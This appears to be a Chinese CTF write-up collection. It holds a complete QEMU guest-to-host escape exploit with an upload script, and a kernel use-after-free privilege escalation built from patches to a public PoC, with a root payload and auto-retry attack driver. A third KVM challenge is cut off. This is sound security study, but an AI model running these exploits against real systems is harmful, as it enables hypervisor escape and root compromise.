[+] QEMU PIE: 0x000056446d600000
[+] system PLT: 0x000056446d8e2c90
[*] triggering NIC -> WD free -> AUDIO alloc/fill -> stale callback
flag{18ebb2f4-3abb-4771-880a-fde13535a118}
[+] RX finished
/ # poweroff -f
[ 9.375519] reboot: Power down该 flag 是 QEMU 进程以 ctf 身份执行 /bin/cat /tmp/flag_f 得到的,说明已经拿到宿主侧代码执行,逃逸成功。
7. 自研脚本与工具
静态分析:自研 Python 脚本,pyelftools 解析 ELF/重定位/TypeInfo,capstone 反汇编,跳表还原与 RIP 相对引用索引都是自己写的;外部依赖只有 pyelftools、capstone 两个公开库。客户机 exp:ez_qemu_exp.c,用 -Os -s -nostdlib -static -no-pie -ffreestanding -fno-builtin -fno-stack-protector -fno-asynchronous-unwind-tables 编译成完全静态、不依赖客户机 libc 的 ELF。上传/执行:solve.py,用题目 busybox 自带的 uudecode + gzip -dc。完整代码见下。
8. 完整代码
(1)客户机 exp 完整源码(ez_qemu_exp.c)
/* ez_qemu guest exploit (+ prep for reliable chunk reuse) */
#include <stdint.h>
#include <stddef.h>
#define AT_FDCWD (-100)
#define O_RDONLY 0
#define O_RDWR 2
#define O_SYNC 04010000
#define PROT_RW 3
#define MAP_SHARED 1
#define MAP_PRIVATE_ANON 0x22
static inline long sc(long n, long a, long b, long c, long d, long e, long f){
register long r10 asm("r10")=d;
register long r8 asm("r8")=e;
register long r9 asm("r9")=f;
long ret;
asm volatile("syscall":"=a"(ret):"a"(n),"D"(a),"S"(b),"d"(c),"r"(r10),"r"(r8),"r"(r9):"rcx","r11","memory");
return ret;
}
static long op(const char*s,int flag){return sc(257,AT_FDCWD,(long)s,flag,0,0,0);}
static long rd(int fd,void*p,unsigned long n){return sc(0,fd,(long)p,n,0,0,0);}
static long pread_(int fd,void*p,unsigned long n,unsigned long off){return sc(17,fd,(long)p,n,off,0,0);}
static long pwrite_(int fd,void*p,unsigned long n,unsigned long off){return sc(18,fd,(long)p,n,off,0,0);}
static void cl(int fd){sc(3,fd,0,0,0,0,0);}
static void print(const char*s){size_t n=0;while(s[n])n++;sc(1,1,(long)s,n,0,0,0);}
static void hex(uint64_t num){char b[19]="0x0000000000000000";static const char a[]="0123456789abcdef";for(int i=0;i<16;i++)b[i+2]=a[(num>>((15-i)*4))&15];sc(1,1,(long)b,18,0,0,0);}
static void cp(void *dst,const void *src,size_t n){uint8_t *d=dst;const uint8_t *s=src;for(size_t i=0;i<n;i++)d[i]=s[i];}
static uint64_t resource_pa(const char *path) {
int fd=op(path,O_RDONLY); if(fd<0)return 0;
char buf[132]; long n=rd(fd,buf,128);cl(fd);if(n<=0)return 0;
uint64_t val=0; int i=(buf[0]=='0' && buf[1]=='x')?2:0;
for(;i<n;i++){char c=buf[i];int t;
if(c>='0'&&c<='9')t=c-'0';
else if(c>='a'&&c<='f')t=c-'a'+10;
else if(c>='A'&&c<='F')t=c-'A'+10;
else break;
val=(val<<4)|t;
}
return val;
}
static uint64_t guest_phys(void *ptr) {
uint64_t entry=0;int fd=op("/proc/self/pagemap",O_RDONLY);
if(fd<0)return 0;
long ok=pread_(fd,&entry,8,((uintptr_t)ptr>>12)*8);cl(fd);
if(ok!=8 || !(entry&(1ULL<<63)))return 0;
return ((entry & ((1ULL<<55)-1))<<12) | ((uintptr_t)ptr&4095);
}
static volatile uint32_t *pci[4];
static uint64_t bar[4];
struct desc {uint64_t a0;uint32_t l0;uint32_t r0;uint64_t a1;uint32_t l1;uint32_t r1;uint64_t st;};
static int run(void){
for(int i=0;i<4;i++){
char path[]="/sys/bus/pci/devices/0000:00:03.0/resource";
int z=0;while(path[z] && path[z]!='3')z++;path[z]='3'+i;
bar[i]=resource_pa(path);if(!bar[i]){print("[!] cannot find PCI BAR\n");return 1;}
char path0[]="/sys/bus/pci/devices/0000:00:03.0/resource0";
z=0;while(path0[z] && path0[z]!='3')z++;path0[z]='3'+i;
long fd=op(path0,O_RDWR|O_SYNC);if(fd<0){print("[!] open BAR failed\n");return 1;}
long p=sc(9,0,4096,PROT_RW,MAP_SHARED,fd,0);cl(fd);
if(p<0){print("[!] map BAR failed\n");return 1;}
pci[i]=(volatile uint32_t*)p;
char pathc[]="/sys/bus/pci/devices/0000:00:03.0/config";
z=0;while(pathc[z] && pathc[z]!='3')z++;pathc[z]='3'+i;
fd=op(pathc,O_RDWR);if(fd<0){print("[!] open PCI config failed\n");return 1;}
uint16_t command=0;
if(pread_(fd,&command,2,4)!=2){cl(fd);return 1;}
command|=7;
if(pwrite_(fd,&command,2,4)!=2){cl(fd);return 1;}
cl(fd);
}
uint8_t *p=(void *)sc(9,0,4096,PROT_RW,MAP_PRIVATE_ANON,-1,0);
if((long)p<0){print("[!] mmap RAM failed\n");return 1;}
for(int i=0;i<4096;i++)p[i]=0;
sc(149,(long)p,4096,0,0,0,0); /* mlock */
uint64_t pa=guest_phys(p);if(!pa){print("[!] guest physical address unavailable\n");return 1;}
/* logger: host stack OOB read */
pci[3][0]=pa; pci[3][1]=pa>>32;
pci[3][2]=0x1010;pci[3][3]=0x80;pci[3][4]=1;
uint64_t ret=0;cp(&ret,p+8,8);
if((ret&0xfff)!=0x2c7 || ret<0x1000000000ULL){
print("[!] PIE leak failed, got ");hex(ret);print("\n");return 1;
}
uint64_t base=ret-0x4132c7ULL;
uint64_t system_plt=base+0x2e2c90ULL;
print("[+] QEMU PIE: ");hex(base);print("\n[+] system PLT: ");hex(system_plt);print("\n");
/* build fake object page: timer+8 = command, timer+0x48 = system@plt */
for(int i=0;i<4096;i++)p[i]=0;
static const char command[]="/bin/cat /tmp/flag_f";
cp(p+8,command,sizeof(command));
cp(p+0x48,&system_plt,8);
/* audio source/len */
pci[2][2]=pa; pci[2][3]=pa>>32;pci[2][4]=0x50;
/* RX descriptor: write#1 -> watchdog free, write#2 -> audio alloc, write#3 -> audio write_data */
struct desc *d=(void *)(p+0x100);
d->a0=bar[1]+0x28;d->l0=4;d->r0=0;
d->a1=bar[2];d->l1=4;d->r1=0;
d->st=bar[2]+0x14;
uint64_t dp=pa+0x100;
pci[0][4]=dp;pci[0][5]=dp>>32;
/* prep: free current timer object, then ensure -> drains one 0x60 tcache entry
so the RX's free lands in tcache and AUDIO alloc reuses the same chunk */
pci[1][10]=1; /* WD +0x28 : free timer */
pci[1][9]=1; /* WD +0x24 : ensure */
print("[*] triggering NIC -> WD free -> AUDIO alloc/fill -> stale callback\n");
pci[0][7]=1; /* NIC RX */
print("[+] RX finished\n");
return 0;
}
__attribute__((noreturn)) void _start(void){int res=run();sc(60,res,0,0,0,0,0);__builtin_unreachable();}(2)串口上传/执行脚本完整源码(solve.py)
import base64
import gzip
import socket
import sys
import time
from pathlib import Path
DEFAULT_HOST = "182.92.196.63"
DEFAULT_PORT = 28704
def download_commands(binary: bytes) -> list[str]:
packed = gzip.compress(binary, compresslevel=9, mtime=0)
encoded = base64.b64encode(packed).decode("ascii")
lines = ["begin-base64 644 /ez_qemu.gz"]
lines.extend(encoded[i : i + 76] for i in range(0, len(encoded), 76))
lines.append("====")
print(f"[+] Payload: {len(binary)} bytes, gzip {len(packed)} bytes, "
f"serial upload {sum(len(x) + 1 for x in lines)} bytes", flush=True)
return lines
def run(host: str, port: int, binary_path: Path) -> None:
data = binary_path.read_bytes()
lines = download_commands(data)
with socket.create_connection((host, port), timeout=25) as sock:
sock.settimeout(0.30)
def send(line: str) -> None:
sock.sendall(line.encode("ascii") + b"\n")
def drain_until(marker: bytes, timeout: float = 45.0, echo: bool = True) -> bytes:
deadline = time.monotonic() + timeout
collected = bytearray()
while time.monotonic() < deadline:
try:
chunk = sock.recv(16384)
except socket.timeout:
continue
if not chunk:
raise EOFError("connection closed before expected marker")
if echo:
sys.stdout.buffer.write(chunk)
sys.stdout.buffer.flush()
collected += chunk
if marker in collected:
return bytes(collected)
if len(collected) > 80000:
del collected[:40000]
raise TimeoutError(f"timed out waiting for {marker!r}")
drain_until(b"/ # ", timeout=90)
print("\n[+] Guest shell ready, uploading packed ELF...", flush=True)
send("cat > /ez_qemu.uue <<'EZQEMU_END'")
time.sleep(0.15)
for line in lines:
send(line)
time.sleep(0.025)
send("EZQEMU_END")
drain_until(b"/ # ", timeout=30, echo=False)
print("\n[+] Decoding ELF and executing exploit...", flush=True)
send("uudecode -o /ez_qemu.gz /ez_qemu.uue && "
"gzip -dc /ez_qemu.gz > /ez_qemu && "
"chmod +x /ez_qemu && /ez_qemu")
try:
result = drain_until(b"[+] RX finished", timeout=50)
if b"flag{" in result:
print("\n[+] Host flag observed in output!", flush=True)
else:
print("\n[*] Check the console transcript for the host flag.", flush=True)
finally:
try:
send("poweroff -f")
drain_until(b"reboot: Power down", timeout=10)
except (TimeoutError, EOFError, ConnectionError, OSError):
pass
if __name__ == "__main__":
host = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_HOST
port = int(sys.argv[2]) if len(sys.argv) > 2 else DEFAULT_PORT
path = Path(sys.argv[3]) if len(sys.argv) > 3 else Path("/tmp/ez_qemu_exp")
run(host, port, path)9. flag
flag{18ebb2f4-3abb-4771-880a-fde13535a118}
考点补充
核心考点:QEMU 自定义 PCI 设备的 MMIO 逆向后,用 logger 的
0x1000 - off无符号下溢把宿主栈越界读回 guest 得到 PIE 泄漏;再用 nic RX 的三次 DMA 重入跨设备打到 watchdog/audio 的 MMIO,把g_malloc0_n(1,0x58)的 ctf_timer 对象 free 后由同尺寸的 audio buffer 复用,最终通过残留的call [obj+0x48]在宿主侧拿到system("/bin/cat /tmp/flag_f")。关键技巧:先
mmap+mlock+读/proc/self/pagemap拿到 guest 物理地址当共享 scratch,并用(ret & 0xfff) == 0x2c7校验泄漏,base = ret - 0x4132c7、system_plt = base + 0x2e2c90;触发前用WD+0x28free 加WD+0x24ensure 腾出一个 0x60 tcache 位,保证 RX 内的 free 与 audio 的 alloc 落在同一 chunk;RX 描述符把三次 DMA 的目标依次设为WD+0x28、AUD+0x00、AUD+0x14。常见坑:
valid.max_access_size = 4让 8 字节 MMIO 读写被静默丢弃(读回 0xff),必须拆成两次 32 位;不置 PCI COMMAND 的 BUS MASTER 位,DMA 全部读回 0xff;把 logger 的 DMA 方向看反,就会把“host->guest 越界读”误当成栈溢出;tcache 满时 free 落进 fastbin,音频 buffer 拿到别的 chunk,回调仍是 puts 只打印 "timer fired";串口全速灌 base64 会丢字符,需 76 字符一行、25ms 间隔。延伸:所有设备对象共用 QEMU 进程的 glibc 堆,“DMA 写别的设备 MMIO”因此等价于一个跨设备的堆操作原语,这类题的通用打法是先枚举设备回调里的裸函数指针(
notify、[obj]),再找尺寸匹配的 free/alloc 组合;看不到宿主/proc/<pid>/maps时,用固定地址的 vsyscall 页0xffffffffff600000做对照实验即可判断 ASLR 是否开启、回调是否真的命中。
CanonicoPWN
1. 题目分析
从题名 "Canonico"(canonical / 规范化)和题目描述可以初步猜测与"规范化"主题相关,但实际探测后确认:服务连接的是 QEMU 虚拟机的串口控制台(ttyS0),登录用户为 ctf(uid 1000)。目标明确:在 guest 内核中拿到 root,读取 /dev/vda 中的 flag。
2. 无附件环境侦察
拿到 shell 后立即对系统做全面侦察,/init 脚本是关键信息源:
#!/bin/busybox sh
/bin/busybox --install -s /bin
mount -t proc proc /proc
mount -t devtmpfs devtmpfs /dev 2>/dev/null
mount -t tmpfs -o mode=1777,nosuid,nodev tmpfs /tmp
hostname challenge
stty -echoctl rows 24 cols 80
echo 2 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 4 > /proc/sys/kernel/perf_event_paranoid
echo 2 > /proc/sys/kernel/io_uring_disabled
echo 0 > /proc/sys/kernel/unprivileged_userns_clone
chmod 0400 /flag
chown 0:0 /flag
chown 1000:1000 /home/ctf
setsid cttyhack su - ctf
poweroff -f关键发现:
/flag是指向/dev/vda的符号链接:flag 直接写在裸块设备上(br-------- root:root,默认 0400,只有 root 能读);内核命令行
console=ttyS0 quiet oops=panic panic=-1,panic_on_oops=1:任何内核 oops 都会导致整机重启,利用必须一次成功;无网络接口,只能通过串口控制台交互;
加固配置封死所有常见提权面:userns、unprivileged BPF、io_uring、perf 全部关闭;无 setuid 文件、无可写系统目录。剩下的攻击面只有内核 syscall 本身。
内核版本:
Linux version 7.0.0-39-generic (hatch@hatch) (gcc (Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0, GNU ld (GNU Binutils for Ubuntu) 2.42) #1 SMP PREEMPT_DYNAMIC Thu Sep 24 08:42:15 UTC 20267.0.0-39-generic 是 Ubuntu 26.04 LTS(resolute)的内核 ABI;构建者是 hatch@hatch、构建号 #1(非官方 #39-Ubuntu),是出题人用官方源码包(Ubuntu-7.0.0-39.39 tag)在 Ubuntu 24.04 工具链下自行编译的。/proc/config.gz 可读(额外开了 CONFIG_IKCONFIG),与官方包 config 对比差异仅是构建环境(gcc 版本、Rust 关闭、=m 改 =y),内核源码是原版 Ubuntu 源码。
3. 漏洞定位:CVE-2026-98260
结合「内核版本精确为 7.0.0-39.39(2026-09-24 构建)+ 无自定义设备 + kallsyms 无新增符号」,判定这是一道公开 CVE 环境题。当时最新的公开 Ubuntu 26.04 内核本地提权是 CVE-2026-98260(公开 PoC 完整、无需 userns/BPF/io_uring),据此展开。
3.1 根因
exec() 由非线程组长(non-leader thread)调用时,de_thread() 交换调用线程与旧 leader 的 PID 关联并 release_task(旧 leader)。但 POSIX CPU timer 的清理 posix_cpu_timers_exit() 在 begin_new_exec() 中排在多处可能失败的操作之后:
retval = de_thread(me); /* [1] TID 已交换 */
...
retval = unshare_files();
...
retval = set_mm_exe_file(...);
...
retval = exec_mmap(bprm->mm); /* 可被 SIGKILL 打断 → 失败 */
...
#ifdef CONFIG_POSIX_TIMERS
spin_lock_irq(&me->sighand->siglock);
posix_cpu_timers_exit(me); /* [2] 正常路径的清理 */
...
#endif一旦 exec_mmap() 等失败(任务已过 point of no return,只能终止),[2] 不执行。退出路径 posix_cpu_timer_del() 通过 pid_task() 查找任务,此时任务关联已消失 → 返回 NULL → 跳过 timerqueue_del,但 k_itimer 仍被 kfree_rcu() 释放。父进程回收僵尸时 __exit_signal() → cleanup_timerqueue() 会再次删除这个已释放的节点 → UAF / 内存破坏。
3.2 版本确认
修复补丁 acb03d388181(exec: Cleanup POSIX timers right after de_thread())首次出现在 Ubuntu 7.0.0-41.41;目标是 7.0.0-39.39,未修复。对官方 -39 vmlinux 反汇编确认 posix_cpu_timers_exit 仍在 exec_mmap 之后,且 posix_cpu_timer_del() 走 timer_lock_sighand()(CVE-2026-64560 修复已合入),查找失败时跳过 timerqueue_del——UAF 成立。
3.3 BTF 偏移核对
与公开 PoC 硬编码偏移完全一致:
结构 / 字段 | 偏移 |
|---|---|
| 0x180 |
| 0xe0 |
| +0x00(对象 0xe0) |
| +0x20(0x100) |
| +0x30(0x110) |
| +0x48(0x128) |
| 0xc68 |
| 0xca0 |
| 0xd00 |
4. 利用过程
使用 V4bel/InfinityCore 仓库 timer 分支的 CVE-2026-98260-ubuntu.c(在 Ubuntu 26.04 7.0.0-30 测试通过)作为基础,核心链路分四步:
第 1 步:制造 UAF。 非 leader 线程用 CLOCK_THREAD_CPUTIME_ID 创建远期 POSIX CPU timer(1 小时后到期)并 execve("/proc/self/exe");同一 mm 下 50000 个单页 VMA + 3 个 CLONE_VM helper 反复 mprotect 争用 mmap_lock;killer 轮询 tgkill(tgid, tid, 0),返回 ESRCH(de_thread() 已完成 TID 交换)即 SIGKILL;exec_mmap() 的 mmap_read_lock_killable 被打断 → exec 在 point of no return 后失败 → timer 节点遗留在存活任务的 timerqueue 中。
第 2 步:转移 stale node + 页回收。 父进程 waitid(WNOWAIT) 观察僵尸但不回收;创建/删除定时器填充 RCU sheaf(279 个 filler + 392 个 oracle worker 候选 timer);回收僵尸时 cleanup_timerqueue() 删除节点并置 ctmr->head = NULL,节点残留在某个 worker 的 timerqueue;释放候选/填充对象清空 slab,PCP 预热 8192 页,再用 64000 匿名页 + 64000 AIO ring 页回收该物理页。
第 3 步:worker oracle 与地址泄露。 worker 消耗 CPU 时间触发 collect_posix_cputimers(),内核在伪造页写入 ctmr->handling = current(object+0x128),并在伪造 it_lock 上自旋(可控停顿点);用户扫描页内的内核指针 → 拿到 worker 的 task_struct 地址;释放锁后内核 list_del_init(&ctmr->elist) 把 elist.next/prev 写成 direct map 地址 → kernel_object = elist - 0x110。
第 4 步:伪造 RB 删除覆盖 cred + setuid 落地。 在页内构造 A/C/M 三个伪造节点(A.left = &task->cred,A.parent = C 等),第二次 collect_timerqueue() 处理 A 时 rb_erase 执行 tmp->__rb_parent_color = pc → task->cred = fake_cred;同一轮处理 M 时把 C+8 写 0,即伪造 cred 的 uid/gid 清零。worker 用伪造 cred(fsuid 0)创建 root 所有文件并 chmod 4755,预先 fork 的 launcher(合法 cred)execve 该 setuid 文件 → euid 0。
5. 本环境的关键适配
5.1 LA57(5 级页表)
guest CPU 暴露 la57,内核 CONFIG_X86_5LEVEL=y 且 cmdline 无 no5lvl,direct map 位于 ff11... 而非 ffff...。PoC 原判定 (value >> 48) == 0xffff 在 5 级页表下会拒绝所有真实内核指针,导致地址泄露扫描永远失败。修改为通用判定(见代码 1)。
5.2 暂存目录与权限
原 PoC 在 /var/tmp、/dev/shm、/tmp 中选择非 nosuid 可写目录。本环境 /tmp 是 nosuid(setuid 会失效),/var/tmp、/dev/shm 不存在;唯一非 nosuid 可写位置是 rootfs 上的 /home/ctf(初始 755 ctf:ctf)。且 cap_capable() 语义决定了伪造 cred 的能力不能作用于 init userns 拥有的资源——运行前必须由本人先 chmod 777 /home/ctf。因此暂存目录候选列表加入 /home/ctf 并置于首位。
5.3 加速 128k 页喷射
原 PoC 对每个 AIO ring 调用 mremap(..., MAP_FIXED, arena),64000 次在目标机上耗时超 5 分钟(远超平台 VM 生命周期)。改为直接使用 io_setup 返回的 ring 地址(内核以 MAP_SHARED 映射,direct map 与用户映射共享同一物理页),喷射时间降到约 25 秒(见代码 1)。
5.4 静态 musl 构建
guest 只有 busybox,没有 libc/编译器。用 musl.cc 交叉工具链静态编译(-O2 -static -pthread),strip 后 72KB,gzip 后 41KB,通过控制台上传。
5.5 串口控制台传输协议
平台控制台有两个致命特性:突发写入会丢字节;busybox ash 行编辑器对超长单行有约 1024 字节的折行异常,会卡在 PS2 续行。最终协议:(1) 每会话先执行 stty -echo cols 4000 + chmod 777 /home/ctf 并用标记同步;(2) 数据按 76 字符短行组织,每 26 行(约 2KB)一个 here-doc 块写入;(3) 每块后 md5sum 校验回显,与控制端预计算 MD5 比对,失败则恢复 shell(闭合引号 + Ctrl-C + 换行)重传该块;(4) 全部完成后拼接 → base64 -d → gzip -dc → 终验 md5。
5.6 平台生命周期与自动化
每台 VM 被平台在约 5–8 分钟后终止(panic_on_oops=1 下任何 oops 也致命);每个地址单实例、过期作废(需平台刷新分配新地址)。因此实现了一体化攻击驱动 attack.py:自动重连 → 等待 shell 可用 → 上传(逐块 MD5 校验 + 失败恢复)→ 运行 exploit → 实时解析 FLAGMATCH / root shell 输出 → 抓到 flag 自动存档,失败自动重试。
6. 最终结果
攻击在 attempt 0 一次成功,exploit 从运行到提权仅约 35 秒。控制台输出:
POC:attempt 0
POC:s1_start
POC:s1_object
POC:s1_winner
POC:s1_stack_ok
POC:s1_stage2_ready
POC:s1_done
POC:s1_ok
POC:attempt_result=0 errno=11
=== ROOT euid=0 ===
VDASIZE=512 READ=512
FLAGMATCH: flag{2947d00e-16f8-43b4-b821-be010aeb53f2}
=== exec /bin/sh as root ===
BusyBox v1.37.0 (Ubuntu 1:1.37.0-7ubuntu1) built-in shell (ash)
/home/ctf # id
uid=0(root) gid=0(root) groups=1000(ctf)flag 以原始内容形式写在 /dev/vda 起始位置,root 后直接读取块设备即可获得。
exp
本题目使用的代码分两部分:一是 exploit 的源码补丁(在公开 PoC 基础上完成本环境适配),二是攻击驱动 attack.py(负责串口上传与攻击全流程自动化)。
代码 1:exploit 源码补丁(基于 CVE-2026-98260 公开 PoC)
LA57 指针判定修复:
static int is_kernel_pointer(uint64_t value)
{
/* 5-level page tables (LA57): direct map is at ff11... not ffff...
* Use the generic check that works for both 4-level and 5-level. */
return (value >> 56) == 0xff && !(value & 7);
}暂存目录候选(本环境唯一非 nosuid 可写点):
static int pick_staging_dir(char *out, size_t len)
{
/* Challenge env: only /home/ctf is writable + non-nosuid (rootfs).
* It must be chmod'ed 777 by the ctf user before running. */
static const char *const candidates[] = { "/home/ctf", "/var/tmp",
"/dev/shm", "/tmp" };
...
}AIO 页喷射优化(免 mremap,5min → 25s):
static int allocate_aio_spray(struct aio_spray *spray)
{
...
/* Optimization: use the io_setup ring address directly instead of
* mremap(MAP_FIXED) into an arena. The kernel maps the AIO ring
* MAP_SHARED, so the direct map shares the same physical page. */
for (unsigned int i = 0; i < max_contexts; i++) {
aio_context_t context = 0;
unsigned char *ring;
if (syscall(SYS_io_setup, 1, &context))
break;
ring = (unsigned char *)(uintptr_t)context;
spray->contexts[spray->contexts_count++] = context;
prepare_aio_page(ring);
spray->pages[spray->count++] = ring;
}
return spray->count >= 1024 ? 0 : -1;
}root 落地 payload(读 /dev/vda 直接抓 flag):
static void scan_for_flag(const char *buf, size_t len)
{
size_t i;
for (i = 0; i + 5 <= len; i++) {
size_t j;
if (memcmp(buf + i, "flag{", 5))
continue;
for (j = i; j < len && buf[j] != '}' && j - i < 256; j++)
;
if (j < len && buf[j] == '}') {
char tmp[320];
size_t fl = j - i + 1;
if (fl >= sizeof(tmp))
fl = sizeof(tmp) - 1;
memcpy(tmp, buf + i, fl);
tmp[fl] = '\0';
printf("FLAGMATCH: %s\n", tmp);
fflush(stdout);
i = j;
}
}
}
static void payload_read_vda(void)
{
unsigned char buf[1048576];
unsigned long scanned = 0;
int vda = open("/dev/vda", O_RDONLY | O_CLOEXEC);
ssize_t r;
if (vda < 0) {
printf("VDAOPENFAIL errno=%d\n", errno);
fflush(stdout);
return;
}
r = read(vda, buf, 512);
printf("VDASIZE=512 READ=%zd\n", r);
if (r > 0) {
ssize_t i;
printf("HEADHEX=");
for (i = 0; i < (r < 64 ? r : 64); i++)
printf("%02x", buf[i]);
printf("\n");
scan_for_flag((const char *)buf, (size_t)r);
}
if (lseek(vda, 0, SEEK_SET) < 0) {
close(vda);
return;
}
/* Backup: scan up to 256MB for flag{...} (raw block content). */
while (scanned < (256UL << 20)) {
r = read(vda, buf, sizeof(buf));
if (r <= 0)
break;
scan_for_flag((const char *)buf, (size_t)r);
scanned += (unsigned long)r;
}
close(vda);
}
/* main() 中 euid==0 且 uid!=0(setuid 落地成功)时的分支 */
if (!geteuid() && getuid()) {
...
if (setresgid(0, 0, 0) || setresuid(0, 0, 0))
_exit(126);
printf("=== ROOT euid=%d ===\n", geteuid());
fflush(stdout);
payload_read_vda();
printf("=== exec /bin/sh as root ===\n");
fflush(stdout);
run_root_shell(); /* execve("/bin/sh") */
}编译命令:
x86_64-linux-musl-gcc -O2 -static -pthread -o exploit cve98260.c
x86_64-linux-musl-strip -s exploit # 72KB
gzip -9 -c exploit > exploit.gz # 41KB, md5 43e60d4400f8d37f17653bda27ad7f10代码 2:全自动攻击驱动 attack.py(节选关键逻辑)
import socket, time, sys, base64, hashlib, os, re
LINE = 76 # 每行 76 字符(防 tty 折行异常)
LINES_PER_BLOCK = 26 # 每块 26 行 ≈ 2KB
def make_blocks():
data = open(GZ_PATH, 'rb').read()
b64 = base64.b64encode(data).decode()
lines = [b64[i:i+LINE] for i in range(0, len(b64), LINE)]
blocks = []
for k in range(0, len(lines), LINES_PER_BLOCK):
blocks.append('\n'.join(lines[k:k+LINES_PER_BLOCK]) + '\n')
return blocks
def upload(sess):
# SETUP:加宽终端 + 打开暂存目录权限
sess.send(b"stty -echo cols 4000; chmod 777 /home/ctf; "
b"m=POC; echo ${m}SETUP\n")
if not sess.wait_for(rb'POC_SETUP', 15):
return False
for idx, content in enumerate(BLOCKS):
name = 'p%02d' % idx
expect = hashlib.md5(content.encode()).hexdigest()
# here-doc 写块 + md5 校验回显(marker 用变量拼接避免明文回显串扰)
cmd = ("cat > /home/ctf/%s <<'E9'\n%sE9\n"
"m=POC; echo ${m}%02d $(md5sum /home/ctf/%s | cut -c1-32)\n"
% (name, content, idx, name)).encode()
for attempt in range(6):
sess.send(cmd)
m = sess.wait_for(rb'POC%02d\s+([0-9a-f]{32})' % idx, 20)
if m and m.group(1).decode() == expect:
break
recover_shell(sess) # 闭合引号 + Ctrl-C + 换行
else:
return False
# 组装:cat 全部块 → base64 -d → gzip -dc → 终验 md5
sess.send(b"cat /home/ctf/p[0-9][0-9] > /home/ctf/b64; "
b"base64 -d /home/ctf/b64 | gzip -dc > /home/ctf/poc; "
b"chmod +x /home/ctf/poc; "
b"m=POC; echo ${m}BIN $(md5sum /home/ctf/poc | cut -c1-32)\n")
...
return True
def run_exploit(sess):
sess.send(b"cd /home/ctf; ./poc\n")
flag = None
end = time.time() + 300
while time.time() < end:
m = re.search(rb'FLAGMATCH:\s(flag{[^}\r\n]})', sess.buf)
if m:
flag = m.group(1).decode()
if flag:
break
if not sess.pump(0.5):
break
if flag is None and re.search(rb'=== ROOT euid=0 ===', sess.buf):
# root shell 已激活,直接命令抓 flag 兜底
for cmd in [b"id\n",
b"grep -ao 'flag{[^}]}' /dev/vda | head -5\n"]:
sess.send(cmd)
time.sleep(1.5)
m = re.search(rb'(flag{[^}\r\n]})', sess.buf)
if m:
flag = m.group(1).decode()
break
return flag
def main():
while True: # 无限循环:VM 过期后自动等新实例重试
# 重连(平台单实例,过期作废后需等待)
while True:
try:
sess.connect(); break
except Exception:
time.sleep(20)
# 等 shell 可用(新 VM 可能正在启动)
ok = False
for i in range(60):
if shell_sync(sess, timeout=5): # m=QQ; echo ${m}X
ok = True; break
time.sleep(2)
if not ok:
sess.close(); continue
if not upload(sess):
sess.close(); continue
flag = run_exploit(sess)
if flag:
open('FLAG.txt', 'w').write(flag + '\n')
return 0
sess.close()
time.sleep(15)flag
flag{2947d00e-16f8-43b4-b821-be010aeb53f2}
考点补充
核心考点:CVE-2026-98260 的 POSIX CPU timer 生命周期错位——非 leader 线程 exec 时
de_thread()已换 PID,而posix_cpu_timers_exit()排在exec_mmap()之后,exec_mmap()被 SIGKILL 打断后清理被跳过,k_itimer被kfree_rcu()释放却仍挂在存活任务的 timerqueue 上,父进程回收僵尸时cleanup_timerqueue()二次删除形成 UAF。关键技巧:用 50000 个单页 VMA + 3 个
CLONE_VMhelper 争用mmap_lock,使mmap_read_lock_killable能被 SIGKILL 打断(tgkill返回 ESRCH 即时机已到);用 AIO ring 页(io_setup返回地址直接当喷射页,省掉 64000 次mremap)回收目标物理页;再靠 worker 消耗 CPU 触发collect_posix_cputimers()把ctmr->handling = current写进伪造页,从页内内核指针泄露task_struct,最后由rb_erase的tmp->__rb_parent_color = pc把task->cred换成伪造 cred 并清零 uid/gid,配合启动前 fork 的 launcherexecve一个 4755 的 root 文件完成落地。常见坑:
panic_on_oops=1使任何内核 oops 都能整机重启,利用只能一次成功;LA57 下 direct map 在ff11...,沿用 PoC 的(value >> 48) == 0xffff判定会让指针扫描全军覆没;/tmp是 nosuid、/var/tmp与/dev/shm不存在,setuid 文件必须落在/home/ctf且需先chmod 777;串口会丢字节且 busybox ash 对超长行折行异常,必须按 76 字符行、26 行一块并逐块 md5 校验,失败要闭合引号并 Ctrl-C 恢复 shell。延伸:这道题把"公开 CVE + 官方内核源码 + 非标准构建"变成环境适配题,真正的工程量在版本指纹(build id、
/proc/config.gz差异、补丁acb03d388181是否合入)和pahole/BTF 偏移核对上;同类 POSIX timer、de_thread()、cleanup_timerqueue()相关的 UAF 也常见于execve失败路径,排查思路是沿着"对象被释放但仍在队列里"的注册/注销不对称去找,并注意 userns、io_uring、BPF 被关闭后只剩 syscall 这一层攻击面。
shadowledger
ShadowLedger 是一道 KVM 子系统的 kernel pwn(2026 春秋杯)。选手以 nobody(uid 65534)身份进入客户机,客户机内可用 /dev/kvm(权限 0666)与 /usr/bin/shadowctl;内核启动参数为 kaslr pti=on panic=-1,且 panic_on_oops=1,任何一次内核 oops 都会让整台客户机直接重启。目标是在客户机内提权到 root 并读取 /flag(root:0400)。客户机无网络、无编译器,payload 必须静态编译后经串口以 base64(gzip) 上传。
/dev/kvm 上挂了一组自定义 ioctl(0xaee0–0xaeef,另有 0x4020ae46 与 0x4040ae79),实现了一套“多重签名账本”:INIT / PUBLISH / CERTIFY / COSIGN / SETTLE / ACCEPT / FOLD / PREP / FLUSH 依次推进状态机,每一步都要满足前序步骤写进 session 的哈希、计数器与私有页条件。每个 tenant(一个 KVM VM)对应一个 session(下称 broker);PUBLISH 分配 receipt 对象 R 与共享的 pub 对象,ACCEPT 把 pub 挂到接收方 session 的 sess[0x1e0] / sess[0x1e8]。
题目内核 vmlinux 无符号表且 CONFIG_KALLSYMS=n(没有 /proc/kallsyms,panic 只打印裸地址),全部逻辑靠 objdump 静态还原。逆向得到的关键约定如下:
session 偏移 | 含义 |
|---|---|
0x110 | session key(SL_READ 可读) |
0x1e0 / 0x1e8 | pub 对象指针 |
0x250 | 状态机(PREP 之后为 7) |
0x280 | CERTIFY 输出的 X |
0x2b0 | session key |
0x2c8 / 0x2d0 / 0x2d8 / 0x2e0 / 0x2e8 | 容器描述符,来自 R[0x80..0xa0],由 FOLD 安装 |
0x308..0x348 | SL_WRITE 可写窗口 |
0x3e0..0x408 | 容器数据区 |
0x410 / 0x418 / 0x420 / 0x428 | "SLCONTOP" / 0 / fn / checksum |
pub 对象的布局为:[0x40]=R、[0x48]=编码后的 session、[0x50]=sess、[0x68]=gate 指针、[0x70]="SLCGATE01"。
FLUSH 是唯一能间接调用的地方,其判定链为:
